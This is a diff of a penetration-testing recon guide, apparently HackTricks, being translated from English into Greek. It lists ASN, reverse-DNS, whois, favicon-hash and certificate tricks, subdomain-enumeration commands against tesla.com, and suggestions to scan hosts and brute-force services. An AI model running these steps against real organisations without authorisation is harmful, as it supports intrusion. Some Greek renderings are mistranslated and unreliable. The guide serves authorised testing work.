||||
amass intel -asn 8911,50313,394161
|
||||
```
|
||||
|
||||
Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan.
|
||||
|
||||
Επίσης, η υπο-απαρίθμηση του [**BBOT**](https://github.com/blacklanternsecurity/bbot) συγκεντρώνει αυτόματα και περιλαμβάνει συνοπτικές πληροφορίες για τα ASNs στο τέλος της σάρωσης.
|
||||
```bash
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
...
|
||||
|
@ -71,62 +68,59 @@ bbot -t tesla.com -f subdomain-enum
|
|||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
Μπορείτε να βρείτε τις εύρεσης IP ενός οργανισμού χρησιμοποιώντας επίσης το [http://asnlookup.com/](http://asnlookup.com) (διαθέτει δωρεάν API).\
|
||||
Μπορείτε να βρείτε το IP και το ASN ενός τομέα χρησιμοποιώντας το [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\
|
||||
You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com).
|
||||
### **Αναζήτηση ευπαθειών**
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου εφαρμογής**, οπότε αν σας επιτρέπεται μπορείτε να εκτελέσετε κάποιο **σαρωτή ευπαθειών** (Nessus, OpenVAS) σε όλους τους υπολογιστές.\
|
||||
Επίσης, μπορείτε να εκτελέσετε κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με αυτό που βρείτε θα πρέπει** να ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να δοκιμάσετε τις πιθανές υπηρεσίες που εκτελούνται.\
|
||||
**Επίσης, αξίζει να αναφέρουμε ότι μπορείτε επίσης να προετοιμάσετε μερικές** προεπιλεγμένες ονομασίες χρήστη **και** κωδικούς πρόσβασης **και να δοκιμάσετε να** βρείτε την κωδικοποίηση των υπηρεσιών με το [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\
|
||||
Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\
|
||||
**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
## Τομείς
|
||||
|
||||
## Domains
|
||||
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου εφαρμογής και τα περιουσιακά τους στοιχεία, είναι ώρα να βρούμε τους τομείς εντός του πεδίου εφαρμογής.
|
||||
|
||||
> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope.
|
||||
_Παρακαλώ, σημειώστε ότι στις παρακάτω τεχνικές που προτείνονται μπορείτε επίσης να βρείτε υποτομείς και αυτές οι πληροφορίες δεν πρέπει να υποτιμηθούν._
|
||||
|
||||
_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._
|
||||
Καταρχάς, θα πρέπει να αναζητήσετε τον **κύριο τομέα**(ς) κάθε εταιρείας. Για παράδειγμα, για την _Tesla Inc._ θα είναι _tesla.com_.
|
||||
|
||||
First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_.
|
||||
|
||||
### **Reverse DNS**
|
||||
|
||||
As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8)
|
||||
### **Αντίστροφο DNS**
|
||||
|
||||
Αφού έχετε βρει όλους τους εύρεσης IP των τομέων, μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις DNS** σε αυτά τα **IP για να βρείτε περισσότερους τομείς εντός του πεδίου εφαρμογής**. Προσπαθήστε να χρησιμοποιήσετε κάποιον διακομιστή DNS του θύματος ή κάποιον γνωστό διακομιστή DNS (1.1.1.1, 8.8.8.8)
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
|
||||
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
```
|
||||
Για να λειτουργήσει αυτό, ο διαχειριστής πρέπει να ενεργοποιήσει χειροκίνητα το PTR.\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε ένα online εργαλείο για αυτές τις πληροφορίες: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
|
||||
For this to work, the administrator has to enable manually the PTR.\
|
||||
You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com)
|
||||
### **Αντίστροφος Whois (βρόχος)**
|
||||
|
||||
### **Reverse Whois (loop)**
|
||||
Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως το **όνομα του οργανισμού**, **διεύθυνση**, **ηλεκτρονικά ταχυδρομεία**, αριθμούς τηλεφώνου... Αλλά αυτό που είναι ακόμα πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με βάση αυτά τα πεδία** (για παράδειγμα άλλα καταλόγους whois όπου εμφανίζεται το ίδιο ηλεκτρονικό ταχυδρομείο).\
|
||||
Μπορείτε να χρησιμοποιήσετε online εργαλεία όπως:
|
||||
|
||||
Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\
|
||||
You can use online tools like:
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Δωρεάν**
|
||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Δωρεάν**
|
||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Δωρεάν**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Δωρεάν** web, όχι δωρεάν API.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Όχι δωρεάν
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Όχι Δωρεάν (μόνο **100 δωρεάν** αναζητήσεις)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Όχι Δωρεάν
|
||||
|
||||
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free**
|
||||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free**
|
||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Not Free
|
||||
Μπορείτε να αυτοματοποιήσετε αυτήν τη διαδικασία χρησιμοποιώντας το [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί ένα κλειδί API του whoxy).\
|
||||
Μπορείτε επίσης να εκτελέσετε ορισμένες αυτόματες ανακαλύψεις αντίστροφου whois με το [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
|
||||
You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Note that you can use this technique to discover more domain names every time you find a new domain.**
|
||||
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτήν την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέων κάθε φορά που βρίσκετε έναν νέο τομέα.**
|
||||
|
||||
### **Trackers**
|
||||
|
||||
If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
|
||||
For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
|
||||
Εάν βρείτε το **ίδιο αναγνωριστικό του ίδιου tracker** σε 2 διαφορετικές σελίδες, μπορείτε να υποθέσετε ότι **και οι δύο σελίδες** διαχειρίζονται από την **ίδια ομάδα**.\
|
||||
Για παράδειγμα, εάν βλέπετε το **ίδιο αναγνωριστικό Google Analytics** ή το ίδιο **αναγνωριστικό Adsense** σε αρκετές σελίδες.
|
||||
|
||||
There are some pages and tools that let you search by these trackers and more:
|
||||
Υπάρχουν ορισμένες σελίδες και εργαλεία που σας επιτρέπουν να αναζητήσετε με βάση αυτούς τους trackers και περισσότερα:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
|
@ -136,106 +130,95 @@ There are some pages and tools that let you search by these trackers and more:
|
|||
|
||||
### **Favicon**
|
||||
|
||||
Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it:
|
||||
|
||||
Ξέρατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς για τον στόχο μας αναζητώντας το ίδιο hash εικονίδιου favicon; Αυτό είναι ακριβώς αυτό που κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που δημιουργήθηκε από τον [@m4ll0k2](https://twitter.com/m4ll0k2). Ακολουθούν οι οδηγίες για τη χρήση του:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
```
|
||||
![favihash - ανακαλύψτε τομείς με τον ίδιο κατακόρυφο κωδικό hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
|
||||
![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
|
||||
|
||||
Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target.
|
||||
|
||||
Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**:
|
||||
Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν τον ίδιο κατακόρυφο κωδικό hash με τον στόχο μας.
|
||||
|
||||
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας τον κατακόρυφο κωδικό hash όπως εξηγείται στο [**αυτό το blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε τον **κωδικό hash του κατακόρυφου κωδικού του favicon μιας ευπαθούς έκδοσης μιας ιστοσελίδας**, μπορείτε να αναζητήσετε αν υπάρχει στο shodan και να **βρείτε περισσότερα ευπαθή σημεία**:
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
|
||||
This is how you can **calculate the favicon hash** of a web:
|
||||
|
||||
Έτσι μπορείτε να **υπολογίσετε το hash του favicon** ενός ιστότοπου:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
import codecs
|
||||
|
||||
def fav_hash(url):
|
||||
response = requests.get(url)
|
||||
favicon = codecs.encode(response.content,"base64")
|
||||
fhash = mmh3.hash(favicon)
|
||||
print(f"{url} : {fhash}")
|
||||
return fhash
|
||||
response = requests.get(url)
|
||||
favicon = codecs.encode(response.content,"base64")
|
||||
fhash = mmh3.hash(favicon)
|
||||
print(f"{url} : {fhash}")
|
||||
return fhash
|
||||
```
|
||||
### **Πνευματικά δικαιώματα / Μοναδική συμβολοσειρά**
|
||||
|
||||
### **Copyright / Uniq string**
|
||||
|
||||
Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"`
|
||||
Αναζητήστε μέσα στις ιστοσελίδες **συμβολοσειρές που μπορεί να κοινοποιούνται σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **συμβολοσειρά πνευματικών δικαιωμάτων** μπορεί να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτήν τη συμβολοσειρά στο **Google**, σε άλλους **περιηγητές** ή ακόμα και στο **Shodan**: `shodan search http.html:"Συμβολοσειρά πνευματικών δικαιωμάτων"`
|
||||
|
||||
### **CRT Time**
|
||||
|
||||
It's common to have a cron job such as
|
||||
|
||||
Συνηθίζεται να υπάρχει ένα προγραμματισμένο έργο όπως
|
||||
```bash
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
Για να ανανεώσετε όλα τα πιστοποιητικά τομέων στον διακομιστή. Αυτό σημαίνει ότι ακόμα κι αν ο ΑΚ που χρησιμοποιείται για αυτό δεν ορίζει το χρόνο που δημιουργήθηκε στον χρόνο ισχύος, είναι δυνατόν να **βρεθούν τομείς που ανήκουν στην ίδια εταιρεία στα αρχεία καταγραφής διαφάνειας πιστοποιητικών**.\
|
||||
Δείτε αυτό το [**άρθρο για περισσότερες πληροφορίες**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
|
||||
Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
### **Παθητική Κατάληψη**
|
||||
|
||||
### **Passive Takeover**
|
||||
Φαίνεται ότι είναι συνηθισμένο για τους ανθρώπους να αναθέτουν υποτομείς σε διευθύνσεις IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **χάνουν αυτήν τη διεύθυνση IP αλλά ξεχνούν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας ένα VM** σε ένα cloud (όπως το Digital Ocean) θα **καταλάβετε πραγματικά ορισμένους υποτομείς**.
|
||||
|
||||
Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**.
|
||||
[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία για αυτό και προτείνει ένα σενάριο που **δημιουργεί ένα VM στο DigitalOcean**, **παίρνει** τη **διεύθυνση IPv4** της νέας μηχανής και **ψάχνει στο Virustotal για εγγραφές υποτομέων** που δείχνουν προς αυτήν.
|
||||
|
||||
[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
|
||||
### **Άλλοι τρόποι**
|
||||
|
||||
### **Other ways**
|
||||
|
||||
**Note that you can use this technique to discover more domain names every time you find a new domain.**
|
||||
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτήν την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέων κάθε φορά που βρίσκετε ένα νέο τομέα.**
|
||||
|
||||
**Shodan**
|
||||
|
||||
As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
|
||||
Καθώς γνωρίζετε ήδη το όνομα του οργανισμού που κατέχει τον χώρο IP. Μπορείτε να αναζητήσετε αυτά τα δεδομένα στο shodan χρησιμοποιώντας: `org:"Tesla, Inc."` Ελέγξτε τους βρεθέντες κόμβους για νέους αναπάντεχους τομείς στο πιστοποιητικό TLS.
|
||||
|
||||
You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Μπορείτε να αποκτήσετε πρόσβαση στο **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να λάβετε το **όνομα του οργανισμού** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που γνωρίζει το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως το [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing.
|
||||
Το [**Assetfinder**](https://github.com/tomnomnom/assetfinder) είναι ένα εργαλείο που αναζητά **συναφείς τομείς** με έναν κύριο τομέα και **υποτομείς** τους, πολύ εντυπωσιακό.
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
### **Αναζήτηση ευπαθειών**
|
||||
|
||||
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
|
||||
Ελέγξτε για κάποια [κατάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία **χρησιμοποιεί έναν τομέα** αλλά έχει **χάσει την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία.
|
||||
|
||||
If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
|
||||
_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||
Εάν βρείτε οποιονδήποτε **τομέα με διαφορετική διεύθυνση IP** από αυτές που έχετε ήδη βρει στην ανακάλυψη πόρων, θα πρέπει να πραγματοποιήσετε μια **βασική ανίχνευση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και μια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
|
||||
_Σημειώστε ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια διεύθυνση IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, προσέξτε._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||||
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς**! Γίνετε μέλος σήμερα στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Subdomains
|
||||
## Υποτομείς
|
||||
|
||||
> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies.
|
||||
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου εφαρμογής, όλους τους πόρους κάθε εταιρείας και όλους τους σχετικούς τομείς με τις εταιρείες.
|
||||
|
||||
It's time to find all the possible subdomains of each found domain.
|
||||
Είναι ώρα να βρούμε όλους τους πιθανούς υποτομείς κάθε βρεθέντα τομέα.
|
||||
|
||||
### **DNS**
|
||||
|
||||
Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it).
|
||||
|
||||
Ας προσπαθήσουμε να πάρουμε τους **υποτομείς** από τις εγγραφές **DNS**. Θα πρέπει επίσης να δοκιμάσουμε την **Zone Transfer** (Εάν είναι ευπαθής, θα πρέπει να το αναφέρετε).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
||||
### **OSINT**
|
||||
|
||||
The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys):
|
||||
Ο γρηγορότερος τρόπος για να αποκτήσετε πολλά υποτομείς είναι να αναζητήσετε σε εξωτερικές πηγές. Τα πιο χρησιμοποιούμενα **εργαλεία** είναι τα εξής (για καλύτερα αποτελέσματα ρυθμίστε τα κλειδιά των API):
|
||||
|
||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
|
||||
```bash
|
||||
# subdomains
|
||||
bbot -t tesla.com -f subdomain-enum
|
||||
|
@ -246,108 +229,80 @@ bbot -t tesla.com -f subdomain-enum -rf passive
|
|||
# subdomains + port scan + web screenshots
|
||||
bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o .
|
||||
```
|
||||
|
||||
* [**Amass**](https://github.com/OWASP/Amass)
|
||||
|
||||
```bash
|
||||
amass enum [-active] [-ip] -d tesla.com
|
||||
amass enum -d tesla.com | grep tesla.com # To just list subdomains
|
||||
```
|
||||
|
||||
* [**subfinder**](https://github.com/projectdiscovery/subfinder)
|
||||
|
||||
```bash
|
||||
# Subfinder, use -silent to only have subdomains in the output
|
||||
./subfinder-linux-amd64 -d tesla.com [-silent]
|
||||
```
|
||||
|
||||
* [**findomain**](https://github.com/Edu4rdSHL/findomain/)
|
||||
|
||||
```bash
|
||||
# findomain, use -silent to only have subdomains in the output
|
||||
./findomain-linux -t tesla.com [--quiet]
|
||||
```
|
||||
|
||||
* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us)
|
||||
|
||||
* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/el-gr)
|
||||
```bash
|
||||
python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run
|
||||
```
|
||||
|
||||
* [**assetfinder**](https://github.com/tomnomnom/assetfinder)
|
||||
|
||||
```bash
|
||||
assetfinder --subs-only <domain>
|
||||
```
|
||||
|
||||
* [**Sudomy**](https://github.com/Screetsec/Sudomy)
|
||||
|
||||
```bash
|
||||
# It requires that you create a sudomy.api file with API keys
|
||||
sudomy -d tesla.com
|
||||
```
|
||||
|
||||
* [**vita**](https://github.com/junnlikestea/vita)
|
||||
|
||||
```
|
||||
vita -d tesla.com
|
||||
```
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester)
|
||||
|
||||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Υπάρχουν **άλλα ενδιαφέροντα εργαλεία/APIs** που, αν και δεν είναι απευθείας εξειδικευμένα στην εύρεση υποτομέων, μπορούν να είναι χρήσιμα για την εύρεση υποτομέων, όπως:
|
||||
|
||||
There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Χρησιμοποιεί το API [https://sonar.omnisint.io](https://sonar.omnisint.io) για να αποκτήσει υποτομείς
|
||||
```bash
|
||||
# Get list of subdomains in output from the API
|
||||
## This is the API the crobat tool will use
|
||||
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
|
||||
* [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com)
|
||||
|
||||
* [**Δωρεάν API JLDC**](https://jldc.me/anubis/subdomains/google.com)
|
||||
```bash
|
||||
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
|
||||
```
|
||||
|
||||
* [**RapidDNS**](https://rapiddns.io) free API
|
||||
|
||||
* [**RapidDNS**](https://rapiddns.io) δωρεάν API
|
||||
```bash
|
||||
# Get Domains from rapiddns free API
|
||||
rapiddns(){
|
||||
curl -s "https://rapiddns.io/subdomain/$1?full=1" \
|
||||
| grep -oE "[\.a-zA-Z0-9-]+\.$1" \
|
||||
| sort -u
|
||||
curl -s "https://rapiddns.io/subdomain/$1?full=1" \
|
||||
| grep -oE "[\.a-zA-Z0-9-]+\.$1" \
|
||||
| sort -u
|
||||
}
|
||||
rapiddns tesla.com
|
||||
```
|
||||
|
||||
* [**https://crt.sh/**](https://crt.sh)
|
||||
|
||||
```bash
|
||||
# Get Domains from crt free API
|
||||
crt(){
|
||||
curl -s "https://crt.sh/?q=%25.$1" \
|
||||
| grep -oE "[\.a-zA-Z0-9-]+\.$1" \
|
||||
| sort -u
|
||||
curl -s "https://crt.sh/?q=%25.$1" \
|
||||
| grep -oE "[\.a-zA-Z0-9-]+\.$1" \
|
||||
| sort -u
|
||||
}
|
||||
crt tesla.com
|
||||
```
|
||||
|
||||
* [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain.
|
||||
|
||||
* [**gau**](https://github.com/lc/gau)**:** ανακτά γνωστούς συνδέσμους από το AlienVault's Open Threat Exchange, το Wayback Machine και το Common Crawl για οποιοδήποτε δοθέντα τομέα.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
```
|
||||
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there.
|
||||
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Αυτά τα εργαλεία αναζητούν στον ιστό για αρχεία JS και εξάγουν υποτομείς από εκεί.
|
||||
```bash
|
||||
# Get only subdomains from SubDomainizer
|
||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||
|
@ -355,42 +310,35 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
|||
# Get only subdomains from subscraper, this already perform recursion over the found results
|
||||
python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f
|
||||
```
|
||||
|
||||
* [**Shodan**](https://www.shodan.io/)
|
||||
|
||||
```bash
|
||||
# Get info about the domain
|
||||
shodan domain <domain>
|
||||
# Get other pages with links to subdomains
|
||||
shodan search "http.html:help.domain.com"
|
||||
```
|
||||
|
||||
* [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
|
||||
|
||||
* [**Εργαλείο εύρεσης υποτομέων Censys**](https://github.com/christophetd/censys-subdomain-finder)
|
||||
```bash
|
||||
export CENSYS_API_ID=...
|
||||
export CENSYS_API_SECRET=...
|
||||
python3 censys-subdomain-finder.py tesla.com
|
||||
```
|
||||
|
||||
* [**DomainTrail.py**](https://github.com/gatete/DomainTrail)
|
||||
|
||||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
|
||||
* [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history
|
||||
* [**securitytrails.com**](https://securitytrails.com/) έχει μια δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
